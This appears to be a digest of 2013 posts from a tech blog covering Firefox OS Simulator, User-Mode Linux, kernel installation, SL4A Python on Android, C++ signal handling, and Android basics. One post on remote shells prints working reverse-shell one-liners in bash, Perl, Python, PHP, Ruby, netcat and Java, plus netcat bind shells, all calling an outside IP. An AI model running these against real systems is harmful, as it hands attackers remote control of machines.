Minggu, 29 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Set Up Environment for Firefox OS Development – Firefox OS Simulator

Posted: 29 Sep 2013 01:34 AM PDT

Firefox OS is a smartphone and table Operating System developed by Mozilla. It is developed under the same brand of Mozilla’s famous web browser project, Mozilla Firefox. Mozilla has a big and clear vision. Firefox OS is developed to adapt the dynamic of the web. It anticipates users needs, adapts to every situation, and instantly delivers information user want.

The interesting part is, Mozilla has develop an add-on for developing and simulating Firefox OS on top of Firefox browser.

This article will discuss about how can we prepare a portable development environment and simulating Firefox OS.

About Firefox OS Simulator

Like implied by the name, Firefox OS simulator is a simulator for Firefox OS. As per September 29th 2013, the current Firefox OS Simulator is still at an early stage of development. Thus, it isn’t yet as reliable and complete. Mozilla also encourage to report bug to GitHub and participate to the development process.

The big concept Firefox OS has is an add-on for Firefox browser. Using this add-on we can test and debug Firefox OS app on the desktop. It is like Android Emulator, but lightweight and easy to use. But, as told above, don’t expect too much for now. But still, it’s quite promising ;)

So, what’s bundled to this add-on?

  1. the Simulator: Including Firefox OS desktop client. This is the higher layers of Firefox OS that runs on desktop. The simulator also includes some additional emulation features that aren’t in the standard Firefox OS desktop builds.
  2. the Dashboard: a tool hosted by the Firefox browser that enables you to start and stop the Simulator and to install, uninstall, and debug apps running in it. The Dashboard also helps you push apps to a real device, and checks app manifests for common problems.

Installing and Running the Simulator

Installing the simulator is really easy. As easy as installing any other Firefox add-on.

  1. Using Firefox, go to the Simulator’s page.
  2. Click “Add to Firefox”
  3. Once the add-on has been downloaded, you will be prompted to install it. Click “Install Now”.

The add-on is quite big in size, thus Firefox may freeze for several seconds while installing it. A dialog titled “Warning: Unresponsive script” might appear. If it does, just click “Continue” to wait for installation to finish.

The Dashboard opens automatically when you install the Simulator. You can reopen it at any time by going to the “Firefox” menu (or “Tools”), then “Web Developer”, then “Firefox OS Simulator”.

firefoxos-1

And here is the Dashboard for you:

firefoxos-2

Here, on the left panel is a button to activate the simulator.

The right panel will list all application you have developed and can be run on top of Firefox OS (simulator).

Managing Apps

Adding apps

To add a packaged app to the Simulator, open the Dashboard, click “Add Directory” and select the manifest file for your app.

To add a hosted app, enter a URL in the textbox where it says “URL for page or manifest.webapp”, then click “Add URL”. If the URL points to a manifest, then that manifest will be used. If it doesn’t, the Dashboard will generate a manifest for the URL: so you can add any website as an app just by entering its URL.

When you add an app, the Dashboard will run a series of tests on your manifest file, checking for common problems. See the section on Manifest Validation for details on what tests are run.

Unless manifest validation reveals that your app has errors, the Dashboard will then automatically run your app in the Simulator.

On each entry, you will see information about the app:

  • name, taken from the manifest
  • type, which will be one of “Packaged”, “Hosted”, or “Generated”
  • link to manifest file
  • result of manifest validation

You also got four commands:

  • “Refresh”: use this to update and reload the app in the Simulator after you have made changes to it. This also makes the Dashboard validate the manifest again. If you make changes to your app they will not be reflected automatically in the installed app: you will need to refresh the app to apply the changes.
  • “Connect”: use this to connect developer tools to the selected app. The Dashboard will start the Simulator and app if they aren’t already running.
  • “Remove” (“X”): use this to remove the app from the Simulator and the Dashboard. You can undo this action as long as the Dashboard tab is open.
  • “Receipt”: use this to test receipt verification for paid apps. After you select a type of receipt to test, the app will be reinstalled with a test receipt of the given type.

The Simulator Device

Here is what the simulator looks like. The simulator device will be opened on new Firefox window.

firefoxos-3

The simulator can be started in two different ways:

  • adding an app or click the “Refresh” or “Connect” button next to your app’s entry, the Dashboard will automatically run your app in the Simulator
  • clicking the button labeled “Stopped” on the left-hand side of the Dashboard, the Simulator will boot to the Home screen and you’ll need to navigate to your app

The simulator appear as window 320×480 pixels with a tool bar at the bottom and a menubar at the top that contains some extra features:

You can left-click on Firefox OS area to simulate touch events. To simulate drag, click and hold the button to your preferred area. Here is the example. The left is the default launcher and drag to right will bring you to menu.

Now we have seen toolbar. Let’s play around with it.

There are three buttons on toolbar. From left to right, these are: Home button, Screen Rotation button, and the Geolocation button.

  • the Home button takes you to the Home screen (or to the task list if you keep it pressed for a couple of seconds)
  • the Screen Rotation button switches the device between portrait and landscape orientation. This will generate the orientationchange event.
  • the Geolocation button triggers a dialog asking you to share your geographic location, either using your current coordinates or supplying custom coordinates: this will be made available to your app via the Geolocation API.

Developer Tools

You can attach developer tools to the Simulator, to help debug your app. At the moment you can only attach the JavaScript Debugger, the Web Console, the Style Editor, the Profiler and the Network Monitor. Mozilla promise bringing more support of developer tools.

To attach developer tools to the Simulator, click the “Connect” button for an app. The Dashboard will then open a developer toolbox pane at the bottom of the Dashboard tab and connect it to the app:

Web Console

The app can log to this console using the global console object, and it displays various other messages generated by the app: network requests, CSS and JS warnings/errors, and security errors.

Debugger

Using the Debugger, you can step through JavaScript code that is running in the connected app, manage breakpoints, and watch expressions to track down errors and problems faster.

Style Editor

You can view and edit CSS files referenced in the app using the connected Style Editor. Your changes will be applied to the app in real time, without needing to refresh the app.

Profiler

Using the Profiler tool connected to the app, you can to find out where your JavaScript code is spending too much time. The Profiler periodically samples the current JavaScript call stack and compiles statistics about the samples.

Network Monitor

Thanks to the new Network Monitor, you can analyze the status, headers, content and timing of all the network requests initiated by the app through a friendly interface.

Introduction to User-Mode Linux

Posted: 28 Sep 2013 12:00 PM PDT

User-Mode Linux is a safe, secure way of running Linux versions and Linux processes. It is a virtualization, but use different approach in compare to VirtualBox or VMWare. Run buggy software, experiment with new Linux kernels or distributions, and poke around in the internals of Linux, all without risking main Linux.

This article will give a brief introduction to User-Mode Linux and test what we can do with it.

Comparing User-Mode Linux with Other Virtualization Technology

UML (User-Mode Linux) differs from other virtualization technologies in being more of a virtual operating system (OS) rather than a virtual machine. Things like VMWare are virtual machine which emulate a physical platform from the CPU to the peripherals. In contrast, UML can be only a Linux guest. However, being a virtualOS allows UML to interact more fully with the host OS.

Other virtualization technologies such as Xen, BSD jail, Solaris zones, and chroot are integrated into the host OS, as opposed to UML, which runs in a process. This gives UML the advantage of being independent from the host OS version, at the cost of some performance. However, a lot (maybe all) of this performance can be regained without losing the flexibility and manageability that UML gains from being in userspace.

The benefit of virtualization accrue largely from the degree of isolation between users and processes inside the virtual machine or jail and those outside it.

The least complete virtualization is provided by chroot which only jails processes into a directory. In all other respects, the processes are unconfined. Even then, on Linux, chroot can't confine a process with root privileges, since its design allows superuser processes to escape.

Finally, technologies such as VMWare, Xen, and UML implement full virtualization and isolation. They all have fully virtualized devices with no restrictions on how they may be used. They also confine their processes with respect to CPU consumption by virtue of having a certain number of virtual processors they may use. They also all run separate instances of the OS, which may be different versions (and even a completely different OS in the case of VMWare) than the host.

The User-Mode Linux

User-Mode Linux is an ELF binary which run on userspace. It is like other process. However, the process itself is a modified copy of Linux kernel. Therefore, we can say that UML is a kernel and userspace program at same time (but it has different perspective).

You can obtain the kernel here: http://uml.devloop.org.uk/

That links provide a kernel up to the recent version. The older kernel is available. All are available in 32-bit and 64-bit architecture.

Also, you can download a filesystem on here: http://fs.devloop.org.uk/

The disk image are a companion for Kernel. It is optional, though recommended to be obtained.

For this article, I will use Kernel version 3.11.2 64-bit and file system Slackware 12.x 64-bit.

First Boot

Extract the kernel and filesystem. Here I have:

  1. kernel64-3.11.2
  2. Slamd64-12.1-root_fs

Let’s head to kernel first. Check and run the kernel:

chmod +x kernel64-3.11.2  ./kernel64-3.11.2 mem=512M

As told by above command, I run kernel and having virtual RAM about 512MB. Don’t worry if you encounter a kernel panic. It’s fair to assume that we didn’t specify any root filesystem (and that’s right).

Complete Boot UML

Now, after the first attempt, let’s boot UML in proper way. This time, we will boot kernel and specify a filesystem. The filesystem we use here is Slamd64-12.1-root_fs.

./kernel64-3.11.2 ubda=Slamd64-12.1-root_fs mem=512M

Now you can see the familiar login prompt on your terminal.

Add a Network Support

To add network capability to UML machine, we have to create a new TAP interface. We should allocate the TAP device to UML instance. Here, on you host Linux:

tunctl -t tap0

tap0 is the device name for our new interface.

Next, assign an IP address to it, assuming the IP address is 192.168.1.3 and on 192.168.1.0/24 network. Of course you need to adjust it to your network.

ifconfig tap0 192.168.1.3

Then modify the kernel invocation, by:

./kernel64-3.11.2 ubda=Slamd64-12.1-root_fs mem=512M eth0=tuntap,tap0,MAC_ADDR,IP_ADDR con0=fd:0,fd:1

Jumat, 27 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Linux Kernel Installation

Posted: 26 Sep 2013 09:52 PM PDT

Installation of Linux Kernel image is divided into two step. First step deals with the installation of kernel modules and static vmlinuz (kernel image). The way to do it is copying the static vmlinuz and all loadable kernel modules to their appropriate locations. The second step deals with the modification of the boot loader configuration file (GRUB, LILO, etc).

Installing Image and Modules

The ‘make’ command builds all the loadable kernel modules in some temporary directory. All we need to do is copying all those modules to the correct location. The location would be same whether you are in 32-bit system or 64-bit system (at least for now). In our case, it would be /lib/modules/<kernel version>/.

However, one can ignore copying these manually and use a command to do it. The process can be automated by simply calling a command from make. Of course you need to do it in the end of compilation on certain kernel (on the root directory tree).

make modules_install

For installing the static kernel (i.e. vmlinuz), the image should be placed to a location where bootloader program can find and boot it. Usually it is /boot.

The process is also can be automated by giving command:

make install

The static image vmlinuz is copied from certain directory to /boot directory. To make it clear, compilation will compile kernel based on your processor architecture (or if you specify other processor) and store it on the corresponding root directory. For x86 and x86_64, the image will be created as $KERNELDIR/arch/i386/boot/vmlinuz.

Boot Loader Configuration

Remember the process of booting: BIOS -> Boot Loader -> Kernel -> Init.

Boot Loader is in the second step which will search the kernel images and boot it. Some boot loader will search for the kernel images in the /boot directory.

There are two popular bootloaders we use: GRUB (Grand Unified Bootloader) and LILO (Linux Loader).

Configuring Grub

The version we use is Grub2. To use grub2 to boot our new linux kernel, we need to edit grub configuration. However you are not necessary to edit the file manually. Just run the command to make grub update the list, with root privilege of course:

update-grub

Configuring LILO

Linux Loader is considered old but still used on several distribution.

To add new kernel image to LILO entry, you can use following template and modify it to your need. You should append it to LILO configuration file, which is /etc/lilo.conf:

image=/boot/vmlinuz    label=linux    read-only    root=/dev/hda3    initrd=/boot/initrd-2.4.2-2.img    append=" resume=/dev/sda2"

So here is the explanation:

The image is vmlinuz which located on /boot directory.

The entry would be labeled as “linux”. You should make this unique.

The root file system is /dev/hda3. Make sure you have a kernel which can read the file system. Especially if your root file system is not usual such as XFS, ZFS, ReiserFS, etc.

The initial ramdisk is initrd-2.4.2-2.img which is located on /boot. You can ignore this if your kernel doesn’t need initial ramdisk.

Append is used to add several argument to kernel. On that entry, we add capability to hibernate and sleep. For that capability kernel need a swap partition to read and write a temporary data. Therefore we specify /dev/sda2 which is a swap partition.

Practical Sample

  1. Install Kernel on Ubuntu
  2. Step by Step of Linux Kernel Compilation

Linux Kernel Packaging

Posted: 26 Sep 2013 09:39 PM PDT

If you wish to install linux kernel without doing compilation stage, you can then create a package of the binary kernel image. Just take the package to the target machine and install it to machine you want.

For creating the build package, while building kernel, instead of giving ‘make’ command alone do one of following command. These commands will creates bzImage and modules and then pack them into a package file. The available commands are:

make rpm-pkg  make binrpm-pkg  make deb-pkg  make tar-pkg  make rargz-pkg  make tarbz2-pkg

Kamis, 26 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Develop Android App using Python: Set up Environment

Posted: 25 Sep 2013 11:09 PM PDT

A common misconception about developing for the Google Android Platform is that you have to write your code in the Java programming language. The truth is you actually have many options. OK, aside of NDK (Native Development Kit) using C/C++, you can develop application using Scripting Layer for Android.

The Scripting Layer for Android (SL4A) brings scripting language to Android by allowing you to edit and execute scripts and interactive interpreters directly on the Android device. Started out as 20% project by Google employee Damon Kohler, the project now supports Python, Ruby, Perl, Lua, JavaScript, BeanShell, and more platform.

This article is part of series of articles explores how to use Python and Scripting Layer for Android (SL4A) to build application for Android.

This article will discuss about how to setup environment for developing Android app using Python. What I use for this article are:

  1. Slackware64 14.0 as developer machine
  2. Windows 8 64-bit as developer machine
  3. Sony XPeria U as target machine
  4. Java Development Kit (JDK) 1.7.0_13
  5. Android Software Development Kit (SDK)
  6. Python 2.7.3

Note that I use Slackware (Linux) and Windows as proof of concept. You can either use one or both but I will try to make it as general as possible.

Who have Use SL4A?

Many! But notable users are:

  1. SmallSat
  2. Cellbots – http://www.cellbots.com/
  3. Oplop – http://code.google.com/p/oplop/
  4. Broadcast – http://github.com/mleone/broadcast/

Why Python?

So the first question, why python?

Python is a great tool for writing both simple scripts and complex, multi-threaded applications. The great thing about having Python on Android is the opportunity to use the untold thousands of lines of code already written and freely available. Python is an easy language to learn if you’ve never used it before, and you will find many resources available on the Internet to help get you up to speed.

Obtain Materials

SL4A has several packages. But for our goal, we need only two packages: core SL4A and Python for android. Both you can download from SL4A download site.

Here what you need (last version per September 26th, 2013):

  1. sl4a_r6.apk
  2. PythonForAndroid_r4.apk

As the popularity of Python for Android grow, the project has been forked to new project which stand side to SL4A. You can visit Python for Android project page and download their latest release.

If you don’t have Oracle JDK, Android SDK, and Python yet then grab them.

Installation and Setup

On Android Device

Install SL4A on Android device. This process is similar to any other Android application installation process.

Before installation, make sure you enable the “Unknown sources” option in your device’s “Application” settings.

screenshot_2013-09-26_1215

Open up terminal / your command prompt. Make sure you can access adb from your “$ANDROIDSDK/platform-tools” path.

Connect your phone to your machine and invoke following commands:

adb install -r sl4a_r6.apk  adb install -r PythonForAndroid_r4.apk

To make sure Python for Android installed, see your application list and search for Python for Android. It should has following user interface:

screenshot_2013-09-26_1241

Tap on Install to install the interpreter needed. Your phone then downloading some extra packages.

To verify, open application named SL4A on your launcher. See the “Interpreter” on “View” menu. You should see Python 2.6.2 there.

screenshot_2013-09-26_1305

On Development Machine

The SL4A needs Oracle Java Development Kit (JDK) and Android Software Development Kit (SDK). All of them must be provided before we install SL4A. We also need to install Python. Note that all dependencies should have correct architecture based on your machine. As I use 64-bit machine, I will need to install the 64-bit version.

At this point, I assume you have all the dependencies installed.

Reference:
  1. Installing Android SDK on Linux
  2. Installing Android SDK on Windows
  3. Installing Java Development Kit on Linux

Testing

Let’s test the environment by creating a simple hello world project.

Write this on your development machine as hello.py:

import android  droid = android.Android()  result = droid.makeToast('Hello, world!')

Then send it to your Android phone. The simplest way is using adb.

adb push hello.py /sdcard/sl4a/scripts/hello.py

Now run the script by running SL4A. You should see lot of python script in the list. Our script is hello.py, just tap it to run it and you can see the toast.

You can also create a simple script to upload your script:

Appendix A: SL4A Functionality

The SL4A has following functionality which can be used on Python:

  • ActivityResult
  • Android
  • ApplicationManager
  • BatteryManager
  • Camera
  • CommonIntents
  • Contacts
  • Event
  • EyerFree
  • Location
  • MediaPlayer
  • MediaRecorder
  • Phone
  • Preferences
  • SensorManager
  • Settings
  • Sms
  • SpeechRecognition
  • ToneGenerator
  • WakeLock
  • Wifi
  • UI

Sabtu, 21 September 2013

Xathrya Sabertooth

Xathrya Sabertooth

Xathrya Sabertooth


POSIX/ANSI Signal and Signal Handling in C++

Posted: 20 Sep 2013 04:51 AM PDT

In Linux and UNIX world, signals is defined as notifications to a process that an event has occurred. In details, a signal is a software interrupt which delivered by process or kernel. Signal occur asynchronously, which means the process doesn’t know ahead of time when a signal will occur.

Signal can be sent in following scenario:

  1. by one process to another process (or to itself)
  2. by kernel to a process

When an application receive signal, it postpone the current activity and work other thing based on interrupt (signal) it receive. Any application has default behavior for some signal, i.e. a process terminated when it receives an interrupt SIGNINT signal by pressing keystroke Ctrl-C. A programmer can modify the behavior by his own code when application receive specific signal, which will be discussed in this article.

This article is tested using following tools & environment:

  1. Slackware64 14.0 (Linux)
  2. gcc 4.7.1

Note that not all signals can be handled.

The Theory

To handle a signal, one should define a callback function to manage the signal. This callback will be registered so it will change the default behavior of signal handler.

There are several types available which can be read on appendix A section.

Sending a signal from terminal can be down using a “kill” command. Despite of the name, kill is not only for killing an application (thought it is when you don’t specify any signal number). To send a signal, the following is the general syntax:

kill -s <signal-number> <pid>

With <signal-number> is the signal number as specified on table appendix A and pid is the process id we want to send to.

Handling a Signal using Signal Function

The easiest way to handling a signal is using signal function to register signal callback.

#include <stdio.h>  #include <stdlib.h>  #include <signal.h>  #include <unistd.h>    // Define the function to be called when Ctrl-C (SIGINT) signal is sent to process  void callback_sigint(int signum) {      // prompt that we got SIGINT      printf("We got signal %d\n", signum);        // Terminate program      exit(signum);  }    int main() {      // Register signal and signal handler      signal(SIGINT, callback_sigint);        while (true) {           printf("Program is processing stuff here.\n");           sleep(1);      }      return 0;  }

Compile and followed by run:

gcc SignalExample.cpp -o SignalExample  ./SignalExample

To terminate, press ctrl-c.

As you may suspect, the callback function is callback_sigint(). The callback function always has prototype as:

void signal_name (int signum);

The signum is a variable which hold the signal number we received. Thus, we can use a single signal handle to handle various signal sent. However this is beyond our league, but you should be able to figure it out.

If you are curious, the function signal has prototype:

void (*signal (int sig, void (*func)(int)))(int);

Handling a Signal using Registration and Handling Class

Now let’s see how can be implement the signal handling using Object Oriented Programming.

Here is our header file:

#ifndef __SIGNALHANDLER_HPP__  #define __SIGNALHANDLER_HPP__    #include <stdexcept>  using std::runtime_error    class SignalException : public runtime_error  {  public:     SignalException(const std::string& _message)        : std::runtime_error(_message)     {}  };    class SignalHandler  {  protected:      static bool mbGotExitSignal;    public:      SignalHandler();      ~SignalHandler();        static bool gotExitSignal();      static void setExitSignal(bool _bExitSignal);        void        setupSignalHandlers();      static void exitSignalHandler(int _ignored);    };  

Kamis, 19 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Connecting Shell Remotely: Bind Shell and Reverse Shell

Posted: 19 Sep 2013 01:23 AM PDT

Shell, a little program acts as intermediary between user and the kernel, is a program which is always exists on any operating system. In Unix, you have bash / csh / zsh or etc while in Windows you get cmd. Shell provides user an interface which enable user to access the kernel services.

There are many ways to access a shell remotely (accessing other computer). One might prefer accessing over SSH. However, add a new account / SSH key / .rhosts file is sometimes impossible when you don’t have enough privileges. Your next option is using different method without involving any third party.

In the rest of this article we would use following scenario:

+-----------------+               _______________           +----------------+  | Alisia          |  Behind NAT  /              /           | Raite          |  | With Private ip | ----> ----> /  Internet    /----> ----> | with Public IP |  +-----------------+            /______________/             +----------------+

We have two player: Alisia and Raite. Alisia is on network A, behind a NAT and having a private IP. World can’t communicate with her directly (use router as a medium, if allowed). Raite is on network B, using public IP. World can communicate with him directly, just contact the IP.

Also we will use netcat on some sections.

The commands are also suppose to be one line only so it can be pasted into a single command.

Bind Shell


In bind shell method, a target machine bind his shell (cmd.exe or bash) to a specific port. After that, people connect to the specified port.

Let’s suppose Raite has encountered some problem with his system. Using Bind Shell method, he open his shell to port 8000 and ask Alisia for help.

Raite’s End

Raite bind himself to a specific port. He then listen for incoming connections and people then can access his shell remotely. Let’s say the port we choose is 8000

Netcat

In Unix, suppose your bash is in /usr/bin/bash:

nc -lvp 8000 -e /usr/bin/bash

In Windows, use:

nc -lvp 8000 -e cmd.exe

Alisia’s End

Alisia act as a client. She then connect to Raite and control Raite’s shell (the other end).

Assuming the port used by Raite is 8000 (as stated in previous section) and has IP 101.10.9.8.

Netcat

nc 101.10.9.8 8000

Reverse Shell


In reverse shell, a client bind his shell to specific port. A target then connect to client to specified port. Then, the data (result) is streamed to client machine over the connection.

Let’s suppose today Alisia has problem with his machine. But as she is behind a NAT network, she can’t ask Raite to connect to her machine. But, Raite has. Therefore, we use reverse shell method.

Raite’s End

Listening for a connection. He binds to a specific command. When incoming connection arrive, He can control shell on the other side.

Suppose the port chosen is 8000

Netcat

nc -lvp 8000

Alisia’s End

Would bind her shell and send it to Raite through network (connect).

Alisia would stream her data to Raite. Suppose Raite’s IP is 101.10.9.8 and use port 8000

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/101.10.9.8/8080 0>&1

PERL

Here's a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="101.10.9.8";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There's also an alternative PERL revere shell here.

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("101.10.9.8",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3. If it doesn't work, try 4, 5, 6…

php -r '$sock=fsockopen("101.10.9.8",8000);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("101.10.9.8",8000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don't support the -e option.

nc -e /bin/sh 101.10.9.8 8000

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 101.10.9.8 8000 >/tmp/f

Java

r = Runtime.getRuntime()  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/101.10.9.8/8000;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])  p.waitFor()

Rabu, 18 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Introduction to Android and Android Application Development

Posted: 17 Sep 2013 05:16 PM PDT

This article will give a short summary of what should be known when developing Android application.

Table of Contents

  1. Android Insight
  2. Architecture
  3. Security and Permissions
  4. Conventions and API Level
  5. Development Tools
  6. Android Developer Tools
  7. Android Application Component
  8. Resources and Important Files

Android Insight

The Android Operating System

Android is a operating system based on Linux Operating System. The project is lead by Google with a consortium of Open Handset Alliance.

Nowadays, Android is used as some of smartphones and tablets operating system. Moreover, there is a project to port Android to x86 (a common PC). Android is a major player in smartphone OS beside Windows Phone, iOS, etc.

Android system supports background processing, provides a rich user interface library, supports 2-D and 3-D graphics using OpenGL libraries, access to the file system and embedded SQLite database.

Platform Component

Android system is a full software stack which is typically defined into the following four areas:

  1. Applications – The Android Open Source project contains several default application, like the Browser, Camera, Gallery, Music, Phone and more.
  2. Application framework – API which allow for high-level interaction with the Android system from Android applications.
  3. Libraries and runtime – Libraries for the Application Framework for many functions (graphic rendering, data storage, web browsing, etc.) and the Dalvik runtime and the core Java libraries for running Android applications.
  4. Linux kernel – Communication layer for the underlying hardware.

androidsoftwarelayer10

How to Develop Android Applications

Android applications are primarily written in the Java programming language.

During development the developer creates the Android specific configuration files and writes the application logic in the Java programming language. The Java source files are converted to Java class files by the Java compiler.

The Android SDK contains a tool called dx which converts Java class files into a .dex (Dalvik Executable) file. All class files of one application are placed in one compressed .dex file. During this conversion process redundant information in the class files are optimized in the .dex file. For example if the same String is found in different class files, the .dex file contains only one reference of this String.

These .dex files are therefore much smaller in size than the corresponding class files.

The .dex file and the resources of an Android project, e.g. the images and XML files, are packed into an .apk (Android Package) file. The program aapt (Android Asset Packaging Tool) performs this packaging.

The resulting .apk file contains all necessary data to run the Android application and can be deployed to an Android device via the adb tool.

The ADT and Android Studio tools perform these steps transparently to the user, i.e. if the user selects that the application should be deployed, the whole Android application (.apk file) is created, deployed and started.

Architecture

The architecture discussed in this section is the architecture of Android. Android can be referred as software stack of different layer, where each layer is a group of several program components. These levels define abstraction on device and provide same API for application on above.

Android-architecture

Linux Kernel

The kernel space. This area is controlled directly by Linux kernel and the basic layer of Android OS.

The whole Android OS is built on top of the Linux 2.6 Kernel with some further architectural changes made by Google.  It is this Linux that interacts with the hardware and contains all the essential hardware drivers. Drivers are programs that control and communicate with the hardware. For example, consider the Bluetooth function. All devices has a Bluetooth hardware in it. Therefore the kernel must include a Bluetooth driver to communicate with the Bluetooth hardware.  The Linux kernel also  acts as an abstraction layer between the hardware and other software layers. Android uses the Linux for all its core functionality such as Memory management, process management, networking, security settings etc. As the Android is built on a most popular and proven foundation, it made the porting of Android to variety of hardware, a relatively painless task.

Libraries

Android Native Libraries layer is the layer that enables the device to handle different types of data. This libraries are written in C or C++ language and are specific for a particular hardware.

Some important libraries:

Surface Manager: It is used for compositing window manager with off-screen buffering. Off-screen buffering means you cant directly draw into the screen, but your drawings go to the off-screen buffer. There it is combined with other drawings and form the final screen the user will see. This off screen buffer is the reason behind the transparency of windows.

Media framework: Media framework provides different media codecs allowing the recording and playback of different media formats

SQLite: SQLite is the database engine used in android for data storage purposes

WebKit: It is the browser engine used to display HTML content

OpenGL: Used to render 2D or 3D graphics content to the screen

Runtime

Consists of Dalvik Virtual Machine and Core Java Libraries.

Android use a special virtual machine, i.e. the Dalvik Virtual Machine to run java based application. It is similar to standard Java Virtual Machine (JVM) however using stripped down and optimized one. The bytecode between Dalvik is also different from Java bytecode.

Thus, you cannot run Java class files on Android directly. They need to get converted to Dalvik bytecode format.

These are different from Java SE and Java ME libraries. However these libraries provides most of the functionalities defined in the Java SE libraries.

Application Framework

These are the blocks that our applications directly interacts with. These programs manage the basic functions of phone like resource management, voice call management etc. As a developer, you just consider these are some basic tools with which we are building our applications.

Important blocks of Application framework are:

Activity Manager: Manages the activity life cycle of applications

Content Providers: Manage the data sharing between applications

Telephony Manager: Manages all voice calls. We use telephony manager if we want to access voice calls in our application.

Location Manager: Location management, using GPS or cell tower

Resource Manager: Manage the various types of resources we use in our Application

Application

The top layer, also referred as user space. In this layer, our application will reside and run.

Security and Permissions

Security Concept

The Android system installs every Android application with a unique user and group ID. Each application file is private to this generated user, e.g. other applications cannot access these files. In addition each Android application is started in its own process.

Therefore, by means of the underlying Linux operating system, every Android application is isolated from other running applications.

If data should be shared, the application must do this explicitly, e.g. via a service or a content provider.

Permission Concept

Android contains a permission system and predefines permissions for certain tasks. Every application can request required permissions and also define new permissions. For example an application may declare that it requires access to the Internet.

Permissions have different levels. Some permissions are automatically granted by the Android system, some are automatically rejected. In most cases the requested permissions are presented to the user before the installation of the application. The user needs to decide if these permissions are given to the application.

If the user denies a required permission, the related application cannot be installed. The check of the permission is only performed during installation, permissions cannot be denied or granted after the installation.

An Android application declares its required permissions in its AndroidManifest.xml configuration file. It can also define additional permissions which it can use to restrict access to certain components.

Conventions and API Level

API Version

API Level is an integer value that uniquely identifies the framework API revision offered by a version of Android platform.

The Android platform provides a framework API that applications can use to interact with the underlying Android system. The framework API consists of:

  • A core set of packages and classes
  • A set of XML elements and attributes for declaring a manifest file
  • A set of XML elements and attributes for declaring and accessing resources
  • A set of Intents
  • A set of permissions that applications can request, as well as permission enforcements included in the system

Each successive version of the Android platform can include updates to the Android application framework API that it delivers.

Updates to the framework API are designed so that the new API remains compatible with earlier versions of the API. That is, most changes in the API are additive and introduce new or replacement functionality. As parts of the API are upgraded, the older replaced parts are deprecated but are not removed, so that existing applications can still use them. In a very small number of cases, parts of the API may be modified or removed, although typically such changes are only needed to ensure API robustness and application or system security. All other API parts from earlier revisions are carried forward without modification.

Android Project and Package Name

The base package for the projects is always the same as the project name, e.g. if you are asked to create a project called com.vogella.android, then the corresponding package name is com.vogella.android.

The application name, which must be entered on the Android project generation wizard, is not always predefined. In this case choose a name you like.

Development Tools

Android SDK

Software Development Kit (SDK) is a collection of tools and source code necessary to create, compile, and package a certain application. Thus, Android SDK is a SDK to create, compile, and package an application for Android. Most of these tools are command line. The primary language used at SDK is Java programming language.

The Android SDK contains Android debug bridge (adb), a tool which allows us to connect to a virtual or even real android. Using this, we can manage the device and debugging application.

Android NDK

Native Development Kit (NDK) or Android NDK, is similar to Android SDK. Android NDK is targeted to expert in C\C++ who want to explore more into lower level.

The primary language used at NDK is C\C++ programming language.

Android Developer Tools and Android Studio

For developing an Android application, Google has provided graphical development environment. There are two flaovrs you can choose: Eclipse and IntelliJ IDE. Using Eclipse IDE, it means we should install a plugin so the Android developing process can be done. This is called Android Development Tool (ADT). The counterparts using IntelliJ IDE and has been tweaked to fulfill the duty. It’s called Android  Stutio.

The Android Developer Tools (ADT) are based on the Eclipse IDE and provide additional functionalities to develop Android applications. ADT is a set of components (plug-ins) which extend the Eclipse IDE with Android development capabilities.

Both tools contain all required functionalities to create, compile, debug and deploy Android applications from the IDE. They also allow the developer to create and start Android virtual devices for testing.

Both tools provide specialized editors for Android specific files. Most of Android configuration files are based on XML. In this case these editors allow you to switch between the XML representation of the file and a structured user interface for entering the data.

Android Developer Tools

Eclipse provides a perspective for interacting with Android Virtual Device and your Android application program. This is included on everytime you install plugin for Eclipse.

DDMS – Dalvik Debug Monitor Service

Select Window → Open Perspective → Other… → DDMS to open this perspective. It groups several Eclipse views which can also be used independently.

On the left side it shows you the connected Android devices and the running processes on the device. The right side is a stack of views with different purposes. You can select processes and trigger actions from the toolbar, e.g. start a trace or stop the process.

Emulator Control

Simulate phone calls and SMS on the AVD. It also allows the application to set the current geo position.

File Explorer

Browse the filesystem on Android Virtual Device.

Android Application Components

Android applications can consists out of four components:

  • Activities
  • Services
  • Broadcast receivers
  • Content provider

Activities

An activity represents the visual representation of an Android application. An Android application can have several activities.

Activities use views and fragments to create the user interface and to interact with the user. Both elements are described in the next sections.

Services

A service performs tasks without providing an user interface. They can communicate with other Android components for example via broadcast receivers and notify the user via the notification framework in Android.

Broadcast Receivers

A broadcast receiver (receiver) can be registered to receive system messages and intents. A receiver gets notified by the Android system, if the specified event occurs.

For example you can register a receiver for the event that the Android system finished the boot process. Or you can register for the event that the state of the phone changes, e.g. someone is calling.

Content Provider

A content provider (provider) provides a structured interface to application data. A provider can be used for accessing data within one application but can also be used to share data with other applications.

Android contains an SQLite database which is frequently used in conjunction with a content provider. The SQLite database would store the data, which would be accessed via the provider.

Resources and Important Files

Android Manifest File

The components and settings of an Android application are described in the AndroidManifest.xml file. This file is known as the Android manifest file.

All activities, services and content providers components of the application must be statically declared in this file. Broadcast receiver can be defined statically in the manifest file or dynamically at runtime in the application.

